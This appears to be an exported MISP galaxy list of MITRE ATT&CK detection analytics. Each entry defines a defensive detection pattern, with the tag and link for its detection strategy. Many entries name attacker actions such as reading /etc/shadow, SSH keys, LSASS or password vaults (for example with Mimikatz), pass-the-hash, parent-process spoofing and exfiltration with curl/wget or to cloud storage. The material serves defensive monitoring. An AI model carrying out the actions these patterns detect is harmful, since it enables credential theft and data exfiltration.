Identify repeated DNS resolutions where the same domain name returns multiple IPs in short succession, combined with low TTL values and high query volume from unusual processes. Correlate with process lineage (e.g., Office apps spawning abnormal DNS lookups).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1331 - AN1331"*

Table 7205. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0485#AN1331

Analytic 1313 - AN1313

Adversaries using WinRM to remotely execute commands, launch child processes, or access WMI. The detection chain includes service use, network activity, remote session logon, and process creation within a short temporal window.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1313 - AN1313"*

Table 7206. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0477#AN1313

Analytic 1133 - AN1133

Monitor Windows Registry modifications to Winlogon keys (Shell, Userinit, Notify) that introduce new executable or DLL paths. Correlate these changes with subsequent DLL loading, image loads, or process creation originating from winlogon.exe or userinit.exe. Abnormal child process lineage or unauthorized binaries in C:\Windows\System32 may indicate abuse.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1133 - AN1133"*

Table 7207. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0404#AN1133

Analytic 1143 - AN1143

Cloud-hosted VM or container generates spoofed UDP requests to third-party services on known amplifier ports, with high outbound-to-inbound traffic ratios in VPC Flow Logs

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1143 - AN1143"*

Table 7208. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0408#AN1143

Analytic 1134 - AN1134

Correlates LNK file execution with embedded resource extraction or suspicious network activity following initial launch, often leading to payload delivery via disguised icons.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1134 - AN1134"*

Table 7209. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0405#AN1134

Analytic 1431 - AN1431

Detects use of 'esxcli system' or direct interpreter commands (e.g., busybox shell) invoked from SSH or host terminal unexpectedly.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1431 - AN1431"*

Table 7210. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0516#AN1431

Analytic 1413 - AN1413

Detects non-browser processes that establish encrypted outbound connections (e.g., TLS/SSL) to unfamiliar or atypical destinations for the host/user, following a data staging or compression event.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1413 - AN1413"*

Table 7211. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0512#AN1413

Analytic 1341 - AN1341

Repeated failed authentication attempts to container APIs, control planes, or login shells across many user names using same password

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1341 - AN1341"*

Table 7212. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0487#AN1341

Analytic 1314 - AN1314

Cause→effect chain: (1) User-facing app (Office/PDF/archiver/browser) records an open/click or abnormal event, then (2) a downloaded file is created in a user-writable path and/or decompressed, (3) the parent user app spawns a living-off-the-land binary (e.g., powershell/cmd/mshta/rundll32/msiexec/wscript/expand/zip) or installer, and (4) immediate outbound HTTP(S)/DNS/SMB from the same lineage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1314 - AN1314"*

Table 7213. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0478#AN1314

Analytic 1531 - AN1531

Detection of non-interactive or suspicious processes accessing Bluetooth interfaces and transmitting outbound traffic following file access or staging activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1531 - AN1531"*

Table 7214. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0554#AN1531

Analytic 1351 - AN1351

A process explicitly forges its parent using EXTENDED_STARTUPINFO + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (UpdateProcThreadAttribute → CreateProcess[A/W]/CreateProcessAsUserW) or other Native API paths, resulting in **mismatched/implausible lineage** across ETW EventHeader ProcessId, Security 4688 Creator Process ID/Name, and sysmon ParentProcessGuid. Often paired with privilege escalation when the chosen parent runs as SYSTEM.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1351 - AN1351"*

Table 7215. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0489#AN1351

Analytic 1315 - AN1315

Cause→effect chain: (1) User app/browser/archiver logs an open/click or abnormal exit, (2) new executable/script/archive extracted into $HOME/Downloads, /tmp, or ~/.cache, (3) parent app spawns shell/interpreter (bash/sh/python/node/curl/wget) or desktop file, and (4) new outbound

connection(s) from the child lineage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1315 - AN1315"*

Table 7216. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0478#AN1315

Analytic 1513 - AN1513

Office apps or scripts writing files followed by xattr manipulation (to evade quarantine) and subsequent HTTPS uploads. Defender perspective: anomalous file modification + outbound TLS traffic originating from non-networking apps (Word, Excel, Preview).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1513 - AN1513"*

Table 7217. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0548#AN1513

Analytic 1153 - AN1153

Unusual access to bash history, registry credentials paths, or private key files by unauthorized or scripting tools, with correlated file and process activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1153 - AN1153"*

Table 7218. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0412#AN1153

Analytic 1135 - AN1135

Abuse of extended attributes (xattrs) to embed hidden payloads into legitimate files. Defender perspective: detect anomalous use of setfattr or getfattr commands, or direct syscalls (setxattr, getxattr) where attributes are unusually large or contain encoded data. Behavior chain includes: (1) execution of setfattr with suspicious namespaces (user., trusted.), (2) file metadata modification inconsistent with file size/hash, and (3) subsequent process execution reading attributes followed by decoding activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1135 - AN1135"*

Table 7219. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0406#AN1135

Analytic 1316 - AN1316

Cause→effect chain: (1) unified logs show application open/click or crash for Safari/Chrome/Office/Preview/archiver, (2) file write/extraction into ~/Downloads, /private/var/folders/* or ~/Library, (3) parent app spawns osascript/bash/zsh/curl/python or opens a quarantined app with Gatekeeper prompts, (4) network egress from child.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1316 - AN1316"*

Table 7220. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0478#AN1316

Analytic 1613 - AN1613

Enumeration of users and groups through suspicious shell commands or unauthorized access to /etc/passwd or /etc/shadow.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1613 - AN1613"*

Table 7221. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0587#AN1613

Analytic 1631 - AN1631

Monitoring adversary access to sensitive process memory via the /proc filesystem to extract credential material, often involving multi-step access to /proc/[pid]/mem or /proc/[pid]/maps combined with privilege escalation or credential scraping binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1631 - AN1631"*

Table 7222. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0593#AN1631

Analytic 1163 - AN1163

Access of mounted cloud shares or document repositories via browser, terminal, or Finder by users not typically interacting with those resources. Includes script-based enumeration or mass download.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1163 - AN1163"*

Table 7223. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0413#AN1163

Analytic 1361 - AN1361

Monitor for anomalous access to financial applications, browser-based banking sessions, or enterprise ERP systems from Windows endpoints. Detect mass emailing of payment instructions, sudden rule changes in Outlook for financial staff, or use of clipboard data exfiltration tied to cryptocurrency wallet addresses.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1361 - AN1361"*

Table 7224. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0495#AN1361

Analytic 1136 - AN1136

Abuse of extended attributes (xattrs) to hide payloads in com.apple.* or custom keys. Defender perspective: monitor suspicious use of xattr command with -w (write) and -p (print) flags, especially when followed by execution of interpreters like bash, Python, or osascript. Behavior chain includes: (1) suspicious file modification with new com.apple.* attributes, (2) attribute content inconsistent with expected metadata tags (e.g., high entropy), (3) subsequent process execution correlated with extraction of the attribute.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1136 - AN1136"*

Table 7225. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0406#AN1136

Analytic 1317 - AN1317

Cause→effect chain in CI/dev desktops: (1) user triggers container run/pull after opening a doc/link/script, (2) newly created image/container uses unexpected external registry or entrypoint, (3) container starts and immediately egresses to suspicious destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1317 - AN1317"*

Table 7226. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0478#AN1317

Analytic 1137 - AN1137

Detects anomalous usage of local accounts to log into a system, especially accounts not typically used interactively or outside business hours.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1137 - AN1137"*

Table 7227. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0407#AN1137

Analytic 1173 - AN1173

Detects internal hosts generating large outbound FTP/TFTP/SMB sessions to external IPs, or file transfers using non-standard ports and application mismatches (e.g., FTP over port 80).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1173 - AN1173"*

Table 7228. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0416#AN1173

Analytic 1371 - AN1371

Detection of adversary disabling endpoint security tools by unloading launch agents/daemons, modifying configuration profiles, or using security/uninstall commands to remove agents.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1371 - AN1371"*

Table 7229. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0497#AN1371

Analytic 1713 - AN1713

Unexpected loss of radio signal could indicate that a device is being actively jammed.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1713 - AN1713"*

Table 7230. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0639#AN1713

Analytic 1731 - AN1731

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1731 - AN1731"*

Table 7231. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0650#AN1731

Analytic 1183 - AN1183

Access to shell history or GUI input state (xdotool, xinput) for presence validation prior to payload execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1183 - AN1183"*

Table 7232. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0420#AN1183

Analytic 1138 - AN1138

Detects interactive or service logins from local accounts outside expected operational context or at anomalous times.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1138 - AN1138"*

Table 7233. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0407#AN1138

Analytic 1381 - AN1381

Detects compilation activity using csc.exe, ilasm.exe, or msbuild.exe initiated by user-space processes outside typical development environments, followed by execution or network activity from newly written binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1381 - AN1381"*

Table 7234. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0501#AN1381

Analytic 1318 - AN1318

Cause→effect chain in cloud consoles: (1) user clicks link then invokes instance/image creation via API, (2) instance/image originates from external AMI or unknown image, (3) instance immediately egresses or retrieves payloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1318 - AN1318"*

Table 7235. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0478#AN1318

Analytic 1831 - AN1831

Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1831 - AN1831"*

Table 7236. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0708#AN1831

Analytic 1813 - AN1813

[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1639)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1813 - AN1813"*

Table 7237. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0698#AN1813

Analytic 1193 - AN1193

Processes accessing raw logical drives (e.g., \.\C:) to bypass file system protections or directly manipulate data structures.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1193 - AN1193"*

Table 7238. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0426#AN1193

Analytic 1319 - AN1319

Modification of COR_PROFILER-related environment variables or Registry keys (COR_ENABLE_PROFILING, COR_PROFILER, COR_PROFILER_PATH), combined with anomalous .NET process creation or unmanaged DLL loads. Defender observes registry modifications, suspicious process creation with altered environment variables, and profiler DLLs loaded unexpectedly into .NET CLR processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1319 - AN1319"*

Table 7239. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0479#AN1319

Analytic 1391 - AN1391

Detects symmetric key-based encryption operations (e.g., AES via Python, AppleScript, or OpenSSL) followed by unusual outbound connections from non-browser applications or scripted tools.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1391 - AN1391"*

Table 7240. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0503#AN1391

Analytic 1139 - AN1139

Detects abnormal or rare logins via local accounts through system or remote mechanisms such as SSH.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1139 - AN1139"*

Table 7241. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0407#AN1139

Analytic 1414 - AN1414

Detects staged file access (e.g., archive or obfuscation), followed by an encrypted outbound connection (TLS/HTTPS) from unusual processes such as curl/wget, Python scripts, or custom

binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1414 - AN1414"*

Table 7242. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0512#AN1414

Analytic 1441 - AN1441

Detects GUI-based credential prompts invoked via zenity/kdialog/dialog or X11 APIs from non-user-facing scripts or background shell sessions, often with authentication-related text.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1441 - AN1441"*

Table 7243. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0521#AN1441

Analytic 1144 - AN1144

Detects anomalous NTLM LogonType 3 authentications that occur without accompanying domain logon events, especially from lateral systems or involving built-in administrative tools. Monitors for mismatches between source user context and system being accessed. Correlates LogonSession creation, NTLM authentications, and process/service initiation to identify suspicious use of stolen password hashes for remote access or service logon without password entry. Detects overpass-the-hash by combining Kerberos ticket issuance with NTLM-based lateral movement.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1144 - AN1144"*

Table 7244. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0409#AN1144

Analytic 1514 - AN1514

Abnormal API calls from user accounts invoking file upload endpoints outside normal baselines (M365, Google Drive, Box). Defender perspective: monitor unified audit logs for elevated frequency of Upload, Create, or Copy operations from compromised accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1514 - AN1514"*

Table 7245. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0548#AN1514

Analytic 1154 - AN1154

Reading of sensitive files like .bash_history, /etc/shadow, or private key directories by unauthorized users or unusual processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1154 - AN1154"*

Table 7246. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0412#AN1154

Analytic 1415 - AN1415

Detects abnormal encrypted network connections (via TLS/HTTPS) initiated by non-browser binaries, particularly after sensitive file access or compression events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1415 - AN1415"*

Table 7247. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0512#AN1415

Analytic 1145 - AN1145

Monitoring of file access to network shares (e.g., C$, Admin$) followed by unusual read or copy operations by processes not typically associated with such activity (e.g., PowerShell, certutil).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1145 - AN1145"*

Table 7248. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0410#AN1145

Analytic 1451 - AN1451

Crafted ‘synful knock’ patterns toward routers/switches (same src hits interface/broadcast/network address on same port in short order) followed by ACL/telnet/SSH enablement or module change. Detect device image/ACL updates then a new mgmt session.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1451 - AN1451"*

Table 7249. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0524#AN1451

Analytic 1541 - AN1541

Detect commands such as 'esxcli system shutdown' or 'vim-cmd vmsvc/power.shutdown' executed outside of maintenance windows or via unusual users. Reboot logs in hostd.log and shell logs should be correlated.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1541 - AN1541"*

Table 7250. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0559#AN1541

Analytic 1641 - AN1641

Detection of suspicious access to password manager processes (KeePass, 1Password, LastPass, Bitwarden) through abnormal process injection, memory reads, or command-line usage of vault-related DLLs. Correlates process creation with OS API calls and file access to vault databases (.kdbx, .opvault, .ldb).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1641 - AN1641"*

Table 7251. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0597#AN1641

Analytic 1416 - AN1416

Detects unexpected encrypted outbound connections from management components or guest VMs using TLS, particularly after data volume spikes or script-based orchestration from within guest environments.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1416 - AN1416"*

Table 7252. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0512#AN1416

Analytic 1614 - AN1614

Detection of user account enumeration through tools like dscl, dscacheutil, or loginshell enumeration via command-line.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1614 - AN1614"*

Table 7253. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0587#AN1614

Analytic 1146 - AN1146

Unusual access or copying of files from mounted network drives (e.g., NFS, CIFS/SMB) by user shells or scripts followed by large data transfer.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1146 - AN1146"*

Table 7254. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0410#AN1146

Analytic 1164 - AN1164

Detects AppleScript execution via 'osascript', NSAppleScript/OSAScript APIs, and abnormal application control events across user sessions. Focuses on causal chains such as osascript spawning child processes, script-induced keystrokes, or API-backed dialog spoofing.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1164 - AN1164"*

Table 7255. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0414#AN1164

Analytic 1461 - AN1461

Execution of files containing right-to-left override characters (U+202E) to masquerade true file extensions. Often found in phishing payloads or file downloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1461 - AN1461"*

Table 7256. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0527#AN1461

Analytic 1417 - AN1417

Detects adversary behavior accessing Windows cached domain credential files using tools like Mimikatz, reg.exe, or PowerShell, often combined with registry exports or LSASS memory scraping.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1417 - AN1417"*

Table 7257. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0513#AN1417

Analytic 1174 - AN1174

Monitor command execution of powercfg.exe with arguments modifying sleep, hibernate, or display timeouts. Abnormal or repeated modifications to power settings outside administrative baselines may indicate persistence attempts. Correlate process creation with registry and system configuration changes to build behavioral chains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1174 - AN1174"*

Table 7258. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0417#AN1174

Analytic 1147 - AN1147

Detection of file access from mounted SMB shares followed by copy or exfil commands from Terminal or script interpreter processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1147 - AN1147"*

Table 7259. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0410#AN1147

Analytic 1471 - AN1471

Credential-related configuration changes in productivity apps, such as API key creation in Google Workspace, app tokens in Slack, or user-level OAuth credentials in M365.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1471 - AN1471"*

Table 7260. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0531#AN1471

Analytic 1714 - AN1714

Unexpected loss of radio signal could indicate that a device is being actively jammed.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1714 - AN1714"*

Table 7261. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0639#AN1714

Analytic 1741 - AN1741

Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1741 - AN1741"*

Table 7262. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0655#AN1741
https://partner.samsungknox.com/mtd

Analytic 1418 - AN1418

Detects access to SSSD or Quest VAS cached credential databases using tdbdump or other file access patterns, requiring sudo/root access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1418 - AN1418"*

Table 7263. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0513#AN1418

Analytic 1481 - AN1481

1) Package manager or curl/wget installs/upgrades from non-approved repos or unsigned packages; 2) new ELF written into PATH directories or replacement of existing binaries/libraries; 3) first run leads to unexpected child processes or outbound connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1481 - AN1481"*

Table 7264. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0537#AN1481

Analytic 1148 - AN1148

Monitor DNS queries, proxy logs, and user-agent strings for anomalous patterns associated with adversary attempts to hide infrastructure. Defenders may observe DNS resolutions to short-lived domains, abnormal WHOIS registration data, or filtering of known defensive/responder IP addresses.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1148 - AN1148"*

Table 7265. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0411#AN1148

Analytic 1184 - AN1184

API usage or filesystem access revealing user state or browser artifacts (e.g., Safari bookmarks, CGEventState).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1184 - AN1184"*

Table 7266. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0420#AN1184

Analytic 1814 - AN1814

[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1639)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1814 - AN1814"*

Table 7267. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0698#AN1814

Analytic 1841 - AN1841

Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1841 - AN1841"*

Table 7268. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0713#AN1841

Analytic 1491 - AN1491

Persistent or background daemons (e.g., plist or launchd jobs) spawning high-CPU processes like xmrig or cpuminer. Outbound encrypted traffic to IPs/domains commonly used by mining proxies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1491 - AN1491"*

Table 7269. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0540#AN1491

Analytic 1941 - AN1941

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1941 - AN1941"*

Table 7270. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0809#AN1941

Analytic 1194 - AN1194

CLI or automated utilities accessing raw device volumes or flash storage directly (e.g., via `copy flash:`, `format`, or `partition` commands).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1194 - AN1194"*

Table 7271. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0426#AN1194

Analytic 1419 - AN1419

Detects exploitation attempts targeting vulnerable kernel drivers or OS components, often followed by unusual process or token behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1419 - AN1419"*

Table 7272. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0514#AN1419

Analytic 1149 - AN1149

Detect adversaries filtering traffic or modifying server responses to evade scanning. Monitor iptables, nftables, or proxy configurations that deny or redirect requests from known scanning agents or defensive tools.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1149 - AN1149"*

Table 7273. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0411#AN1149

Analytic 1155 - AN1155

Unusual access to ~/Library/Keychains, ~/.bash_history, or Terminal command history by unauthorized processes or users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1155 - AN1155"*

Table 7274. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0412#AN1155

Analytic 1551 - AN1551

Windows environmental validation behavioral chain: (1) Rapid system discovery reconnaissance through WMI queries, registry enumeration, and network share discovery, (2) Environment-specific artifact collection (hostname, domain, IP addresses, installed software, hardware identifiers), (3) Cryptographic operations or conditional logic based on collected environmental values, (4) Selective payload execution contingent on environmental validation results, (5) Temporal correlation between discovery activities and subsequent execution or network communication

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1551 - AN1551"*

Table 7275. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0562#AN1551

Analytic 1515 - AN1515

ESXi guest OS or management interface processes establishing unexpected external HTTPS connections. Defender perspective: monitor vmx or hostd processes making outbound web requests with significant data transfer.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1515 - AN1515"*

Table 7276. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0548#AN1515

Analytic 1165 - AN1165

Repeated invocation of high-resource application endpoints or GUI components causing CPU and memory spikes, logged as elevated request volumes, prolonged handle locks, or frequent crash recoveries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1165 - AN1165"*

Table 7277. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0415#AN1165

Analytic 1156 - AN1156

Unusual web-based access or API scraping of password managers, single sign-on sessions, or credential sync services via browser automation or anomalous API tokens.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1156 - AN1156"*

Table 7278. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0412#AN1156

Analytic 1615 - AN1615

Detection of API calls listing users, IAM roles, or groups in cloud environments.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1615 - AN1615"*

Table 7279. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0587#AN1615

Analytic 1561 - AN1561

Registry access to system language keys (e.g., HKLM\SYSTEM\CurrentControlSet\Control\Nls\Language) or suspicious processes invoking locale-related APIs (e.g., GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList). Defender visibility focuses on anomalous or non-standard processes issuing these queries, especially when run by unknown binaries or scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1561 - AN1561"*

Table 7280. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0565#AN1561

Analytic 1516 - AN1516

A process (non-system or user-initiated) accesses private key files in user profile paths or system certificate stores followed by potential network connections or compression activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1516 - AN1516"*

Table 7281. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0549#AN1516

Analytic 1651 - AN1651

Application vetting services could look for `android.permission.READ_CALL_LOG` in an Android application's manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it. On Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1651 - AN1651"*

Table 7282. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0602#AN1651

Analytic 1517 - AN1517

User or script-based access to ~/.ssh or other directories containing private keys followed by unusual shell activity or network connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1517 - AN1517"*

Table 7283. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0549#AN1517

Analytic 1157 - AN1157

Unauthorized API or console calls to retrieve or reset password credentials, download key material, or modify SSO settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1157 - AN1157"*

Table 7284. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0412#AN1157

Analytic 1571 - AN1571

Unusual processes (e.g., powershell.exe, excel.exe) accessing large local files and subsequently initiating HTTPS POST requests to domains associated with cloud storage services (e.g., dropbox.com, drive.google.com, box.com). Defender perspective: correlation between file reads in sensitive directories and high outbound traffic volume to known storage APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1571 - AN1571"*

Table 7285. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0570#AN1571

Analytic 1175 - AN1175

Detect execution of system utilities (systemctl, systemd-inhibit, systemdsleep) modifying sleep or hibernate behavior. Abnormal edits to system configuration files (e.g., /etc/systemd/sleep.conf) should be correlated with process execution to identify persistence techniques.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1175 - AN1175"*

Table 7286. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0417#AN1175

Analytic 1751 - AN1751

Application vetting services can look for applications requesting the `android.permission.BIND_ACCESSIBILITY_SERVICE` permission in a service declaration. On Android,

the user can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions. On Android, the user can view and manage which applications have third-party keyboard access through the device settings in System → Languages & input → Virtual keyboard. On iOS, the user can view and manage which applications have third-party keyboard access through the device settings in General → Keyboard.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1751 - AN1751"*

Table 7287. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0661#AN1751

Analytic 1715 - AN1715

Application vetting services could potentially detect the usage of APIs intended for artifact hiding. The user can examine the list of all installed applications in the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1715 - AN1715"*

Table 7288. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0640#AN1715

Analytic 1158 - AN1158

Access to container image layers or mounted secrets (e.g., Docker secrets) by processes not tied to entrypoint or orchestration context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1158 - AN1158"*

Table 7289. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0412#AN1158

Analytic 1581 - AN1581

Detects user activity that shares or syncs files with external domains via link generation, OneDrive external sharing, or file transfer actions involving non-whitelisted partner tenants.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1581 - AN1581"*

